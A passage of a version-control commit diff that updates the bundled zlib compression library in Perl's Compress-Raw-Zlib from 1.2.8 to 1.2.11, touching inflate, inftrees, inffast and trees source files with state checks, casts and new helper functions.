                     from = out - dist;          /* copy direct from output */
                     do {                        /* minimum length is three */
-                        PUP(out) = PUP(from);
-                        PUP(out) = PUP(from);
-                        PUP(out) = PUP(from);
+                        *out++ = *from++;
+                        *out++ = *from++;
+                        *out++ = *from++;
                         len -= 3;
                     } while (len > 2);
                     if (len) {
-                        PUP(out) = PUP(from);
+                        *out++ = *from++;
                         if (len > 1)
-                            PUP(out) = PUP(from);
+                            *out++ = *from++;
                     }
                 }
             }
@@ -313,8 +296,8 @@
     hold &= (1U << bits) - 1;
 
     /* update state and return */
-    strm->next_in = in + OFF;
-    strm->next_out = out + OFF;
+    strm->next_in = in;
+    strm->next_out = out;
     strm->avail_in = (unsigned)(in < last ? 5 + (last - in) : 5 - (in - last));
     strm->avail_out = (unsigned)(out < end ?
                                  257 + (end - out) : 257 - (out - end));

Modified: vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/inflate.c
===================================================================
--- vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/inflate.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/inflate.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,5 @@
 /* inflate.c -- zlib decompression
- * Copyright (C) 1995-2012 Mark Adler
+ * Copyright (C) 1995-2016 Mark Adler
  * For conditions of distribution and use, see copyright notice in zlib.h
  */
 
@@ -92,6 +92,7 @@
 #endif
 
 /* function prototypes */
+local int inflateStateCheck OF((z_streamp strm));
 local void fixedtables OF((struct inflate_state FAR *state));
 local int updatewindow OF((z_streamp strm, const unsigned char FAR *end,
                            unsigned copy));
@@ -101,12 +102,26 @@
 local unsigned syncsearch OF((unsigned FAR *have, const unsigned char FAR *buf,
                               unsigned len));
 
+local int inflateStateCheck(
+    z_streamp strm)
+{
+    struct inflate_state FAR *state;
+    if (strm == Z_NULL ||
+        strm->zalloc == (alloc_func)0 || strm->zfree == (free_func)0)
+        return 1;
+    state = (struct inflate_state FAR *)strm->state;
+    if (state == Z_NULL || state->strm != strm ||
+        state->mode < HEAD || state->mode > SYNC)
+        return 1;
+    return 0;
+}
+
 int ZEXPORT inflateResetKeep(
     z_streamp strm)
 {
     struct inflate_state FAR *state;
 
-    if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR;
+    if (inflateStateCheck(strm)) return Z_STREAM_ERROR;
     state = (struct inflate_state FAR *)strm->state;
     strm->total_in = strm->total_out = state->total = 0;
     strm->msg = Z_NULL;
@@ -131,7 +146,7 @@
 {
     struct inflate_state FAR *state;
 
-    if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR;
+    if (inflateStateCheck(strm)) return Z_STREAM_ERROR;
     state = (struct inflate_state FAR *)strm->state;
     state->wsize = 0;
     state->whave = 0;
@@ -147,7 +162,7 @@
     struct inflate_state FAR *state;
 
     /* get the state */
-    if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR;
+    if (inflateStateCheck(strm)) return Z_STREAM_ERROR;
     state = (struct inflate_state FAR *)strm->state;
 
     /* extract wrap request from windowBits parameter */
@@ -156,7 +171,7 @@
         windowBits = -windowBits;
     }
     else {
-        wrap = (windowBits >> 4) + 1;
+        wrap = (windowBits >> 4) + 5;
 #ifdef GUNZIP
         if (windowBits < 48)
             windowBits &= 15;
@@ -210,7 +225,9 @@
     if (state == Z_NULL) return Z_MEM_ERROR;
     Tracev((stderr, "inflate: allocated\n"));
     strm->state = (struct internal_state FAR *)state;
+    state->strm = strm;
     state->window = Z_NULL;
+    state->mode = HEAD;     /* to pass state test in inflateReset2() */
     ret = inflateReset2(strm, windowBits);
     if (ret != Z_OK) {
         ZFREE(strm, state);
@@ -234,7 +251,7 @@
 {
     struct inflate_state FAR *state;
 
-    if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR;
+    if (inflateStateCheck(strm)) return Z_STREAM_ERROR;
     state = (struct inflate_state FAR *)strm->state;
     if (bits < 0) {
         state->hold = 0;
@@ -241,10 +258,10 @@
         state->bits = 0;
         return Z_OK;
     }
-    if (bits > 16 || state->bits + bits > 32) return Z_STREAM_ERROR;
+    if (bits > 16 || state->bits + (uInt)bits > 32) return Z_STREAM_ERROR;
     value &= (1L << bits) - 1;
-    state->hold += value << state->bits;
-    state->bits += bits;
+    state->hold += (unsigned)value << state->bits;
+    state->bits += (uInt)bits;
     return Z_OK;
 }
 
@@ -625,7 +642,7 @@
     static const unsigned short order[19] = /* permutation of code lengths */
         {16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15};
 
-    if (strm == Z_NULL || strm->state == Z_NULL || strm->next_out == Z_NULL ||
+    if (inflateStateCheck(strm) || strm->next_out == Z_NULL ||
         (strm->next_in == Z_NULL && strm->avail_in != 0))
         return Z_STREAM_ERROR;
 
@@ -645,6 +662,8 @@
             NEEDBITS(16);
 #ifdef GUNZIP
             if ((state->wrap & 2) && hold == 0x8b1f) {  /* gzip header */
+                if (state->wbits == 0)
+                    state->wbits = 15;
                 state->check = crc32(0L, Z_NULL, 0);
                 CRC2(state->check, hold);
                 INITBITS();
@@ -672,7 +691,7 @@
             len = BITS(4) + 8;
             if (state->wbits == 0)
                 state->wbits = len;
-            else if (len > state->wbits) {
+            if (len > 15 || len > state->wbits) {
                 strm->msg = (char *)"invalid window size";
                 state->mode = BAD;
                 break;
@@ -699,7 +718,8 @@
             }
             if (state->head != Z_NULL)
                 state->head->text = (int)((hold >> 8) & 1);
-            if (state->flags & 0x0200) CRC2(state->check, hold);
+            if ((state->flags & 0x0200) && (state->wrap & 4))
+                CRC2(state->check, hold);
             INITBITS();
             state->mode = TIME;
         case TIME:
@@ -706,7 +726,8 @@
             NEEDBITS(32);
             if (state->head != Z_NULL)
                 state->head->time = hold;
-            if (state->flags & 0x0200) CRC4(state->check, hold);
+            if ((state->flags & 0x0200) && (state->wrap & 4))
+                CRC4(state->check, hold);
             INITBITS();
             state->mode = OS;
         case OS:
@@ -715,9 +736,11 @@
                 state->head->xflags = (int)(hold & 0xff);
                 state->head->os = (int)(hold >> 8);
             }
-            if (state->flags & 0x0200) CRC2(state->check, hold);
+            if ((state->flags & 0x0200) && (state->wrap & 4))
+                CRC2(state->check, hold);
             INITBITS();
             state->mode = EXLEN;
+            /* FALLTHROUGH */
         case EXLEN:
             if (state->flags & 0x0400) {
                 NEEDBITS(16);
@@ -724,12 +747,14 @@
                 state->length = (unsigned)(hold);
                 if (state->head != Z_NULL)
                     state->head->extra_len = (unsigned)hold;
-                if (state->flags & 0x0200) CRC2(state->check, hold);
+                if ((state->flags & 0x0200) && (state->wrap & 4))
+                    CRC2(state->check, hold);
                 INITBITS();
             }
             else if (state->head != Z_NULL)
                 state->head->extra = Z_NULL;
             state->mode = EXTRA;
+            /* FALLTHROUGH */
         case EXTRA:
             if (state->flags & 0x0400) {
                 copy = state->length;
@@ -742,7 +767,7 @@
                                 len + copy > state->head->extra_max ?
                                 state->head->extra_max - len : copy);
                     }
-                    if (state->flags & 0x0200)
+                    if ((state->flags & 0x0200) && (state->wrap & 4))
                         state->check = crc32(state->check, next, copy);
                     have -= copy;
                     next += copy;
@@ -752,6 +777,7 @@
             }
             state->length = 0;
             state->mode = NAME;
+            /* FALLTHROUGH */
         case NAME:
             if (state->flags & 0x0800) {
                 if (have == 0) goto inf_leave;
@@ -761,9 +787,9 @@
                     if (state->head != Z_NULL &&
                             state->head->name != Z_NULL &&
                             state->length < state->head->name_max)
-                        state->head->name[state->length++] = len;
+                        state->head->name[state->length++] = (Bytef)len;
                 } while (len && copy < have);
-                if (state->flags & 0x0200)
+                if ((state->flags & 0x0200) && (state->wrap & 4))
                     state->check = crc32(state->check, next, copy);
                 have -= copy;
                 next += copy;
@@ -773,6 +799,7 @@
                 state->head->name = Z_NULL;
             state->length = 0;
             state->mode = COMMENT;
+            /* FALLTHROUGH */
         case COMMENT:
             if (state->flags & 0x1000) {
                 if (have == 0) goto inf_leave;
@@ -782,9 +809,9 @@
                     if (state->head != Z_NULL &&
                             state->head->comment != Z_NULL &&
                             state->length < state->head->comm_max)
-                        state->head->comment[state->length++] = len;
+                        state->head->comment[state->length++] = (Bytef)len;
                 } while (len && copy < have);
-                if (state->flags & 0x0200)
+                if ((state->flags & 0x0200) && (state->wrap & 4))
                     state->check = crc32(state->check, next, copy);
                 have -= copy;
                 next += copy;
@@ -793,10 +820,11 @@
             else if (state->head != Z_NULL)
                 state->head->comment = Z_NULL;
             state->mode = HCRC;
+            /* FALLTHROUGH */
         case HCRC:
             if (state->flags & 0x0200) {
                 NEEDBITS(16);
-                if (hold != (state->check & 0xffff)) {
+                if ((state->wrap & 4) && hold != (state->check & 0xffff)) {
                     strm->msg = (char *)"header crc mismatch";
                     state->mode = BAD;
                     break;
@@ -816,6 +844,7 @@
             strm->adler = state->check = ZSWAP32(hold);
             INITBITS();
             state->mode = DICT;
+            /* FALLTHROUGH */
         case DICT:
             if (state->havedict == 0) {
                 RESTORE();
@@ -823,8 +852,10 @@
             }
             strm->adler = state->check = adler32(0L, Z_NULL, 0);
             state->mode = TYPE;
+            /* FALLTHROUGH */
         case TYPE:
             if (flush == Z_BLOCK || flush == Z_TREES) goto inf_leave;
+            /* FALLTHROUGH */
         case TYPEDO:
             if (state->last) {
                 BYTEBITS();
@@ -875,8 +906,10 @@
             INITBITS();
             state->mode = COPY_;
             if (flush == Z_TREES) goto inf_leave;
+            /* FALLTHROUGH */
         case COPY_:
             state->mode = COPY;
+            /* FALLTHROUGH */
         case COPY:
             copy = state->length;
             if (copy) {
@@ -1016,8 +1049,10 @@
             Tracev((stderr, "inflate:       codes ok\n"));
             state->mode = LEN_;
             if (flush == Z_TREES) goto inf_leave;
+            /* FALLTHROUGH */
         case LEN_:
             state->mode = LEN;
+            /* FALLTHROUGH */
         case LEN:
             if (have >= 6 && left >= 258) {
                 RESTORE();
@@ -1067,6 +1102,7 @@
             }
             state->extra = (unsigned)(here.op) & 15;
             state->mode = LENEXT;
+            /* FALLTHROUGH */
         case LENEXT:
             if (state->extra) {
                 NEEDBITS(state->extra);
@@ -1077,6 +1113,7 @@
             Tracevv((stderr, "inflate:         length %u\n", state->length));
             state->was = state->length;
             state->mode = DIST;
+            /* FALLTHROUGH */
         case DIST:
             for (;;) {
                 here = state->distcode[BITS(state->distbits)];
@@ -1104,6 +1141,7 @@
             state->offset = (unsigned)here.val;
             state->extra = (unsigned)(here.op) & 15;
             state->mode = DISTEXT;
+            /* FALLTHROUGH */
         case DISTEXT:
             if (state->extra) {
                 NEEDBITS(state->extra);
@@ -1120,6 +1158,7 @@
 #endif
             Tracevv((stderr, "inflate:         distance %u\n", state->offset));
             state->mode = MATCH;
+            /* FALLTHROUGH */
         case MATCH:
             if (left == 0) goto inf_leave;
             copy = out - left;
@@ -1177,11 +1216,11 @@
                 out -= left;
                 strm->total_out += out;
                 state->total += out;
-                if (out)
+                if ((state->wrap & 4) && out)
                     strm->adler = state->check =
                         UPDATE(state->check, put - out, out);
                 out = left;
-                if ((
+                if ((state->wrap & 4) && (
 #ifdef GUNZIP
                      state->flags ? hold :
 #endif
@@ -1195,6 +1234,7 @@
             }
 #ifdef GUNZIP
             state->mode = LENGTH;
+            /* FALLTHROUGH */
         case LENGTH:
             if (state->wrap && state->flags) {
                 NEEDBITS(32);
@@ -1208,6 +1248,7 @@
             }
 #endif
             state->mode = DONE;
+            /* FALLTHROUGH */
         case DONE:
             ret = Z_STREAM_END;
             goto inf_leave;
@@ -1240,10 +1281,10 @@
     strm->total_in += in;
     strm->total_out += out;
     state->total += out;
-    if (state->wrap && out)
+    if ((state->wrap & 4) && out)
         strm->adler = state->check =
             UPDATE(state->check, strm->next_out - out, out);
-    strm->data_type = state->bits + (state->last ? 64 : 0) +
+    strm->data_type = (int)state->bits + (state->last ? 64 : 0) +
                       (state->mode == TYPE ? 128 : 0) +
                       (state->mode == LEN_ || state->mode == COPY_ ? 256 : 0);
     if (((in == 0 && out == 0) || flush == Z_FINISH) && ret == Z_OK)
@@ -1255,7 +1296,7 @@
     z_streamp strm)
 {
     struct inflate_state FAR *state;
-    if (strm == Z_NULL || strm->state == Z_NULL || strm->zfree == (free_func)0)
+    if (inflateStateCheck(strm))
         return Z_STREAM_ERROR;
     state = (struct inflate_state FAR *)strm->state;
     if (state->window != Z_NULL) ZFREE(strm, state->window);
@@ -1273,7 +1314,7 @@
     struct inflate_state FAR *state;
 
     /* check state */
-    if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR;
+    if (inflateStateCheck(strm)) return Z_STREAM_ERROR;
     state = (struct inflate_state FAR *)strm->state;
 
     /* copy dictionary */
@@ -1298,7 +1339,7 @@
     int ret;
 
     /* check state */
-    if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR;
+    if (inflateStateCheck(strm)) return Z_STREAM_ERROR;
     state = (struct inflate_state FAR *)strm->state;
     if (state->wrap != 0 && state->mode != DICT)
         return Z_STREAM_ERROR;
@@ -1330,7 +1371,7 @@
     struct inflate_state FAR *state;
 
     /* check state */
-    if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR;
+    if (inflateStateCheck(strm)) return Z_STREAM_ERROR;
     state = (struct inflate_state FAR *)strm->state;
     if ((state->wrap & 2) == 0) return Z_STREAM_ERROR;
 
@@ -1383,7 +1424,7 @@
     struct inflate_state FAR *state;
 
     /* check parameters */
-    if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR;
+    if (inflateStateCheck(strm)) return Z_STREAM_ERROR;
     state = (struct inflate_state FAR *)strm->state;
     if (strm->avail_in == 0 && state->bits < 8) return Z_BUF_ERROR;
 
@@ -1430,7 +1471,7 @@
 {
     struct inflate_state FAR *state;
 
-    if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR;
+    if (inflateStateCheck(strm)) return Z_STREAM_ERROR;
     state = (struct inflate_state FAR *)strm->state;
     return state->mode == STORED && state->bits == 0;
 }
@@ -1445,8 +1486,7 @@
     unsigned wsize;
 
     /* check input */
-    if (dest == Z_NULL || source == Z_NULL || source->state == Z_NULL ||
-        source->zalloc == (alloc_func)0 || source->zfree == (free_func)0)
+    if (inflateStateCheck(source) || dest == Z_NULL)
         return Z_STREAM_ERROR;
     state = (struct inflate_state FAR *)source->state;
 
@@ -1467,6 +1507,7 @@
     /* copy state */
     zmemcpy((Bytef*)dest, (Bytef*)source, sizeof(z_stream));
     zmemcpy((Bytef*)copy, (Bytef*)state, sizeof(struct inflate_state));
+    copy->strm = dest;
     if (state->lencode >= state->codes &&
         state->lencode <= state->codes + ENOUGH - 1) {
         copy->lencode = copy->codes + (state->lencode - state->codes);
@@ -1488,7 +1529,7 @@
 {
     struct inflate_state FAR *state;
 
-    if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR;
+    if (inflateStateCheck(strm)) return Z_STREAM_ERROR;
     state = (struct inflate_state FAR *)strm->state;
 #ifdef INFLATE_ALLOW_INVALID_DISTANCE_TOOFAR_ARRR
     state->sane = !subvert;
@@ -1500,18 +1541,39 @@
 #endif
 }
 
+int ZEXPORT inflateValidate(
+    z_streamp strm,
+    int check)
+{
+    struct inflate_state FAR *state;
+
+    if (inflateStateCheck(strm)) return Z_STREAM_ERROR;
+    state = (struct inflate_state FAR *)strm->state;
+    if (check)
+        state->wrap |= 4;
+    else
+        state->wrap &= ~4;
+    return Z_OK;
+}
+
 long ZEXPORT inflateMark(
     z_streamp strm)
 {
     struct inflate_state FAR *state;
 
-    /* Change to return statement below is taken from 
-           https://github.com/madler/zlib/commit/2edb94a3025d288dc251bc6cbb2c02e60fbd7438 
-     */
-    if (strm == Z_NULL || strm->state == Z_NULL)
+    if (inflateStateCheck(strm))
         return -(1L << 16);
     state = (struct inflate_state FAR *)strm->state;
-    return ((long)(state->back) << 16) +
+    return (long)(((unsigned long)((long)state->back)) << 16) +
         (state->mode == COPY ? state->length :
             (state->mode == MATCH ? state->was - state->length : 0));
 }
+
+unsigned long ZEXPORT inflateCodesUsed(
+    z_streamp strm)
+{
+    struct inflate_state FAR *state;
+    if (inflateStateCheck(strm)) return (unsigned long)-1;
+    state = (struct inflate_state FAR *)strm->state;
+    return (unsigned long)(state->next - state->codes);
+}

Modified: vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/inflate.h
===================================================================
--- vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/inflate.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/inflate.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,5 @@
 /* inflate.h -- internal inflate state definition
- * Copyright (C) 1995-2009 Mark Adler
+ * Copyright (C) 1995-2016 Mark Adler
  * For conditions of distribution and use, see copyright notice in zlib.h
  */
 
@@ -18,7 +18,7 @@
 
 /* Possible inflate modes between inflate() calls */
 typedef enum {
-    HEAD,       /* i: waiting for magic header */
+    HEAD = 16180,   /* i: waiting for magic header */
     FLAGS,      /* i: waiting for method and flags (gzip) */
     TIME,       /* i: waiting for modification time (gzip) */
     OS,         /* i: waiting for extra flags and operating system (gzip) */
@@ -77,11 +77,14 @@
         CHECK -> LENGTH -> DONE
  */
 
-/* state maintained between inflate() calls.  Approximately 10K bytes. */
+/* State maintained between inflate() calls -- approximately 7K bytes, not
+   including the allocated sliding window, which is up to 32K bytes. */
 struct inflate_state {
+    z_streamp strm;             /* pointer back to this zlib stream */
     inflate_mode mode;          /* current inflate mode */
     int last;                   /* true if processing last block */
-    int wrap;                   /* bit 0 true for zlib, bit 1 true for gzip */
+    int wrap;                   /* bit 0 true for zlib, bit 1 true for gzip,
+                                   bit 2 true to validate check value */
     int havedict;               /* true if dictionary provided */
     int flags;                  /* gzip header method and flags (0 if zlib) */
     unsigned dmax;              /* zlib header max distance (INFLATE_STRICT) */

Modified: vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/inftrees.c
===================================================================
--- vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/inftrees.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/inftrees.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,5 @@
 /* inftrees.c -- generate Huffman trees for efficient decoding
- * Copyright (C) 1995-2013 Mark Adler
+ * Copyright (C) 1995-2017 Mark Adler
  * For conditions of distribution and use, see copyright notice in zlib.h
  */
 
@@ -9,7 +9,7 @@
 #define MAXBITS 15
 
 const char inflate_copyright[] =
-   " inflate 1.2.8 Copyright 1995-2013 Mark Adler ";
+   " inflate 1.2.11 Copyright 1995-2017 Mark Adler ";
 /*
   If you use the zlib library in a product, an acknowledgment is welcome
   in the documentation of your product. If for some reason you cannot
@@ -54,7 +54,7 @@
     code FAR *next;             /* next available space in table */
     const unsigned short FAR *base;     /* base value table to use */
     const unsigned short FAR *extra;    /* extra bits table to use */
-    int end;                    /* use base and extra for symbol > end */
+    unsigned match;             /* use base and extra for symbol >= match */
     unsigned short count[MAXBITS+1];    /* number of codes of each length */
     unsigned short offs[MAXBITS+1];     /* offsets in table for each length */
     static const unsigned short lbase[31] = { /* Length codes 257..285 base */
@@ -62,7 +62,7 @@
         35, 43, 51, 59, 67, 83, 99, 115, 131, 163, 195, 227, 258, 0, 0};
     static const unsigned short lext[31] = { /* Length codes 257..285 extra */
         16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 18, 18, 18, 18,
-        19, 19, 19, 19, 20, 20, 20, 20, 21, 21, 21, 21, 16, 72, 78};
+        19, 19, 19, 19, 20, 20, 20, 20, 21, 21, 21, 21, 16, 77, 202};
     static const unsigned short dbase[32] = { /* Distance codes 0..29 base */
         1, 2, 3, 4, 5, 7, 9, 13, 17, 25, 33, 49, 65, 97, 129, 193,
         257, 385, 513, 769, 1025, 1537, 2049, 3073, 4097, 6145,
@@ -181,19 +181,17 @@
     switch (type) {
     case CODES:
         base = extra = work;    /* dummy value--not used */
-        end = 19;
+        match = 20;
         break;
     case LENS:
         base = lbase;
-        base -= 257;
         extra = lext;
-        extra -= 257;
-        end = 256;
+        match = 257;
         break;
-    default:            /* DISTS */
+    default:    /* DISTS */
         base = dbase;
         extra = dext;
-        end = -1;
+        match = 0;
     }
 
     /* initialize state for loop */
@@ -216,13 +214,13 @@
     for (;;) {
         /* create table entry */
         here.bits = (unsigned char)(len - drop);
-        if ((int)(work[sym]) < end) {
+        if (work[sym] + 1U < match) {
             here.op = (unsigned char)0;
             here.val = work[sym];
         }
-        else if ((int)(work[sym]) > end) {
-            here.op = (unsigned char)(extra[work[sym]]);
-            here.val = base[work[sym]];
+        else if (work[sym] >= match) {
+            here.op = (unsigned char)(extra[work[sym] - match]);
+            here.val = base[work[sym] - match];
         }
         else {
             here.op = (unsigned char)(32 + 64);         /* end of block */

Modified: vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/trees.c
===================================================================
--- vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/trees.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/trees.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,5 @@
 /* trees.c -- output deflated data using Huffman coding
- * Copyright (C) 1995-2012 Jean-loup Gailly
+ * Copyright (C) 1995-2017 Jean-loup Gailly
  * detect_data_type() function provided freely by Cosmin Truta, 2006
  * For conditions of distribution and use, see copyright notice in zlib.h
  */
@@ -36,7 +36,7 @@
 
 #include "deflate.h"
 
-#ifdef DEBUG
+#ifdef ZLIB_DEBUG
 #  include <ctype.h>
 #endif
 
@@ -152,18 +152,16 @@
 local unsigned bi_reverse OF((unsigned value, int length));
 local void bi_windup      OF((deflate_state *s));
 local void bi_flush       OF((deflate_state *s));
-local void copy_block     OF((deflate_state *s, charf *buf, unsigned len,
-                              int header));
 
 #ifdef GEN_TREES_H
 local void gen_trees_header OF((void));
 #endif
 
-#ifndef DEBUG
+#ifndef ZLIB_DEBUG
 #  define send_code(s, c, tree) send_bits(s, tree[c].Code, tree[c].Len)
    /* Send a code of the given tree. c and tree must not have side effects */
 
-#else /* DEBUG */
+#else /* !ZLIB_DEBUG */
 #  define send_code(s, c, tree) \
      { if (z_verbose>2) fprintf(stderr,"\ncd %3d ",(c)); \
        send_bits(s, tree[c].Code, tree[c].Len); }
@@ -182,7 +180,7 @@
  * Send a value on a given number of bits.
  * IN assertion: length <= 16 and value fits in length bits.
  */
-#ifdef DEBUG
+#ifdef ZLIB_DEBUG
 local void send_bits      OF((deflate_state *s, int value, int length));
 
 local void send_bits(
@@ -208,12 +206,12 @@
         s->bi_valid += length;
     }
 }
-#else /* !DEBUG */
+#else /* !ZLIB_DEBUG */
 
 #define send_bits(s, value, length) \
 { int len = length;\
   if (s->bi_valid > (int)Buf_size - len) {\
-    int val = value;\
+    int val = (int)value;\
     s->bi_buf |= (ush)val << s->bi_valid;\
     put_short(s, s->bi_buf);\
     s->bi_buf = (ush)val >> (Buf_size - s->bi_valid);\
@@ -223,7 +221,7 @@
     s->bi_valid += len;\
   }\
 }
-#endif /* DEBUG */
+#endif /* ZLIB_DEBUG */
 
 
 /* the arguments must not have side effects */
@@ -317,7 +315,7 @@
  * Genererate the file trees.h describing the static trees.
  */
 #ifdef GEN_TREES_H
-#  ifndef DEBUG
+#  ifndef ZLIB_DEBUG
 #    include <stdio.h>
 #  endif
 
@@ -394,7 +392,7 @@
 
     s->bi_buf = 0;
     s->bi_valid = 0;
-#ifdef DEBUG
+#ifdef ZLIB_DEBUG
     s->compressed_len = 0L;
     s->bits_sent = 0L;
 #endif
@@ -522,12 +520,12 @@
         xbits = 0;
         if (n >= base) xbits = extra[n-base];
         f = tree[n].Freq;
-        s->opt_len += (ulg)f * (bits + xbits);
-        if (stree) s->static_len += (ulg)f * (stree[n].Len + xbits);
+        s->opt_len += (ulg)f * (unsigned)(bits + xbits);
+        if (stree) s->static_len += (ulg)f * (unsigned)(stree[n].Len + xbits);
     }
     if (overflow == 0) return;
 
-    Trace((stderr,"\nbit length overflow\n"));
+    Tracev((stderr,"\nbit length overflow\n"));
     /* This happens for example on obj2 and pic of the Calgary corpus */
 
     /* Find the first bit length which could increase: */
@@ -554,9 +552,8 @@
             m = s->heap[--h];
             if (m > max_code) continue;
             if ((unsigned) tree[m].Len != (unsigned) bits) {
-                Trace((stderr,"code %d bits %d->%d\n", m, tree[m].Len, bits));
-                s->opt_len += ((long)bits - (long)tree[m].Len)
-                              *(long)tree[m].Freq;
+                Tracev((stderr,"code %d bits %d->%d\n", m, tree[m].Len, bits));
+                s->opt_len += ((ulg)bits - tree[m].Len) * tree[m].Freq;
                 tree[m].Len = (ush)bits;
             }
             n--;
@@ -578,7 +575,7 @@
     ushf *bl_count)
 {
     ush next_code[MAX_BITS+1]; /* next code value for each bit length */
-    ush code = 0;              /* running code value */
+    unsigned code = 0;         /* running code value */
     int bits;                  /* bit index */
     int n;                     /* code index */
 
@@ -586,7 +583,8 @@
      * without bit reversal.
      */
     for (bits = 1; bits <= MAX_BITS; bits++) {
-        next_code[bits] = code = (code + bl_count[bits-1]) << 1;
+        code = (code + bl_count[bits-1]) << 1;
+        next_code[bits] = (ush)code;
     }
     /* Check that the bit counts in bl_count are consistent. The last code
      * must be all ones.
@@ -599,7 +597,7 @@
         int len = tree[n].Len;
         if (len == 0) continue;
         /* Now reverse the bits */
-        tree[n].Code = bi_reverse(next_code[len]++, len);
+        tree[n].Code = (ush)bi_reverse(next_code[len]++, len);
 
         Tracecv(tree != static_ltree, (stderr,"\nn %3d %c l %2d c %4x (%x) ",
              n, (isgraph(n) ? n : ' '), len, tree[n].Code, next_code[len]-1));
@@ -821,7 +819,7 @@
         if (s->bl_tree[bl_order[max_blindex]].Len != 0) break;
     }
     /* Update opt_len to include the bit length tree and counts */
-    s->opt_len += 3*(max_blindex+1) + 5+5+4;
+    s->opt_len += 3*((ulg)max_blindex+1) + 5+5+4;
     Tracev((stderr, "\ndyn trees: dyn %ld, stat %ld",
             s->opt_len, s->static_len));
 
@@ -871,11 +869,17 @@
     int last)
 {
     send_bits(s, (STORED_BLOCK<<1)+last, 3);    /* send block type */
-#ifdef DEBUG
+    bi_windup(s);        /* align on byte boundary */
+    put_short(s, (ush)stored_len);
+    put_short(s, (ush)~stored_len);
+    zmemcpy(s->pending_buf + s->pending, (Bytef *)buf, stored_len);
+    s->pending += stored_len;
+#ifdef ZLIB_DEBUG
     s->compressed_len = (s->compressed_len + 3 + 7) & (ulg)~7L;
     s->compressed_len += (stored_len + 4) << 3;
+    s->bits_sent += 2*16;
+    s->bits_sent += stored_len<<3;
 #endif
-    copy_block(s, buf, (unsigned)stored_len, 1); /* with header */
 }
 
 /* ===========================================================================
@@ -896,7 +900,7 @@
 {
     send_bits(s, STATIC_TREES<<1, 3);
     send_code(s, END_BLOCK, static_ltree);
-#ifdef DEBUG
+#ifdef ZLIB_DEBUG
     s->compressed_len += 10L; /* 3 for block type, 7 for EOB */
 #endif
     bi_flush(s);
@@ -904,7 +908,7 @@
 
 /* ===========================================================================
  * Determine the best encoding for the current block: dynamic trees, static
- * trees or store, and output the encoded block to the zip file.
+ * trees or store, and write out the encoded block.
  */
 void ZLIB_INTERNAL _tr_flush_block(
     deflate_state *s,
@@ -976,7 +980,7 @@
         send_bits(s, (STATIC_TREES<<1)+last, 3);
         compress_block(s, (const ct_data *)static_ltree,
                        (const ct_data *)static_dtree);
-#ifdef DEBUG
+#ifdef ZLIB_DEBUG
         s->compressed_len += 3 + s->static_len;
 #endif
     } else {
@@ -985,7 +989,7 @@
                        max_blindex+1);
         compress_block(s, (const ct_data *)s->dyn_ltree,
                        (const ct_data *)s->dyn_dtree);
-#ifdef DEBUG
+#ifdef ZLIB_DEBUG
         s->compressed_len += 3 + s->opt_len;
 #endif
     }
@@ -997,7 +1001,7 @@
 
     if (last) {
         bi_windup(s);
-#ifdef DEBUG
+#ifdef ZLIB_DEBUG
         s->compressed_len += 7;  /* align on byte boundary */
 #endif
     }
@@ -1092,7 +1096,7 @@
             send_code(s, code, dtree);       /* send the distance code */
             extra = extra_dbits[code];
             if (extra != 0) {
-                dist -= base_dist[code];
+                dist -= (unsigned)base_dist[code];
                 send_bits(s, dist, extra);   /* send the extra distance bits */
             }
         } /* literal or match pair ? */
@@ -1195,34 +1199,7 @@
     }
     s->bi_buf = 0;
     s->bi_valid = 0;
-#ifdef DEBUG
+#ifdef ZLIB_DEBUG
     s->bits_sent = (s->bits_sent+7) & ~7;
 #endif
 }
-
-/* ===========================================================================
- * Copy a stored block, storing first the length and its
- * one's complement if requested.
- */
-local void copy_block(
-    deflate_state *s,
-    charf    *buf,
-    unsigned len,
-    int      header)
-{
-    bi_windup(s);        /* align on byte boundary */
-
-    if (header) {
-        put_short(s, (ush)len);
-        put_short(s, (ush)~len);
-#ifdef DEBUG
-        s->bits_sent += 2*16;
-#endif
-    }
-#ifdef DEBUG
-    s->bits_sent += (ulg)len<<3;
-#endif
-    while (len--) {
-        put_byte(s, *buf++);
-    }
-}

Modified: vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/uncompr.c
===================================================================
--- vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/uncompr.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/uncompr.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,5 @@
 /* uncompr.c -- decompress a memory buffer
- * Copyright (C) 1995-2003, 2010 Jean-loup Gailly.
